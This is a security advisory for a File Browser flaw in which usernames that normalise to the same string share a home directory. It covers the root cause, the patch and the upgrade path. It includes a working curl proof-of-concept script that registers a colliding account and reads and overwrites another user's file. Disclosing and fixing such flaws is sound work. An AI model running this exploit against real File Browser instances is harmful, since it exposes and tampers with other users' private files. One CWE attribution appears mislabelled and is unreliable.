CVE-2026-62685: File Browser Username Normalization Home Directory Collision
When self-registration is open, two users with differently-spelled usernames can end up sharing the exact same home directory, letting an attacker read and overwrite another user's private files.
The problem
File Browser confines each user to a scoped home directory. When both `Signup` and `CreateUserDir` are enabled, that directory path is built from the username after it passes through `cleanUsername()`, which strips `..` and replaces every character outside `[0-9A-Za-z@_.-]` with `-`.
Because `cleanUsername` is many-to-one, distinct usernames like `teamone/x` and `teamone-x` produce the same directory name. FileBrowser enforces uniqueness only on the raw username, never on the derived scope, so the second registrant is silently handed the first user's home directory.
Both accounts coexist normally and neither user is warned.
Proof of concept
A working proof-of-concept for CVE-2026-62685 in github.com/filebrowser/filebrowser/v2, with the exact payload below.
B=http://localhost:8090; PW='CollidePw12345!'
# Admin enables signup + createUserDir
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
AT=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \
-d "{\"username\":\"admin\",\"password\":\"$AP\"}")
curl -s -H "X-Auth: $AT" $B/api/settings \
| python3 -c "import sys,json;d=json.load(sys.stdin);d['signup']=True;d['createUserDir']=True;print(json.dumps(d))" \
| curl -s -X PUT $B/api/settings -H "X-Auth: $AT" -H 'Content-Type: application/json' -d @-
# Register victim
curl -s -X POST $B/api/signup -H 'Content-Type: application/json' \
-d '{"username":"teamone-x","password":"CollidePw12345!"}'
# Register attacker with colliding username (/ stripped -> same dir)
curl -s -X POST $B/api/signup -H 'Content-Type: application/json' \
-d '{"username":"teamone/x","password":"CollidePw12345!"}'
# Victim writes a private file
TA=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \
-d '{"username":"teamone-x","password":"CollidePw12345!"}')
curl -s -X POST "$B/api/resources/secretA.txt?override=true" \
-H "X-Auth: $TA" --data-binary 'A-private-CONFIDENTIAL-data'
# Attacker reads victim's file via shared scope
TB=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \
-d '{"username":"teamone/x","password":"CollidePw12345!"}')
curl -s "$B/api/raw/secretA.txt" -H "X-Auth: $TB"
# -> A-private-CONFIDENTIAL-data
# Attacker overwrites victim's file
curl -s -X POST "$B/api/resources/secretA.txt?override=true" \
-H "X-Auth: $TB" --data-binary 'TAMPERED-BY-B'The root cause is `cleanUsername()` in `settings/dir.go` collapsing any non-`[0-9A-Za-z@_.-]` character to `-` and silently deleting `..`, making the function many-to-one. The scope `path.Join(UserHomeBasePath, cleanUsername(username))` is then written back to the new user record with no check that another user already owns the same path. `MkdirAll` is idempotent, so the directory is quietly reused.
CWE-706 (non-canonical path for authorization) and CWE-706 cousin CWE-1386 (resolved-name confusion) both apply. The patch (commit `883a36f`) adds a `GetByScope` lookup in `signupHandler` and returns HTTP 409 Conflict when `CreateUserDir` is on and the derived scope is already owned, closing the collision window entirely.
The fix
Upgrade to filebrowser v2.63.17 (commit 883a36f). The patched `signupHandler` calls `store.Users.GetByScope(scope)` before creating the account and rejects the registration with 409 Conflict if another user already owns the normalized scope. No configuration change is needed after upgrading.
Related research
- high · 8.2CVE-2026-55667CVE-2026-55667: File Browser Out-of-Scope File Deletion via Symlink-Following RemoveAll
- critical · 9.1CVE-2026-54089CVE-2026-54089: File Browser Authentication Bypass via Proxy Header Forgery
- high · 7.6CVE-2026-54560CVE-2026-54560: Cloudreve OAuth Access Token Scope Bypass
- high · 8.2Skipper opaAuthorizeRequestWithBody OPA Policy Bypass via Oversized Content-Length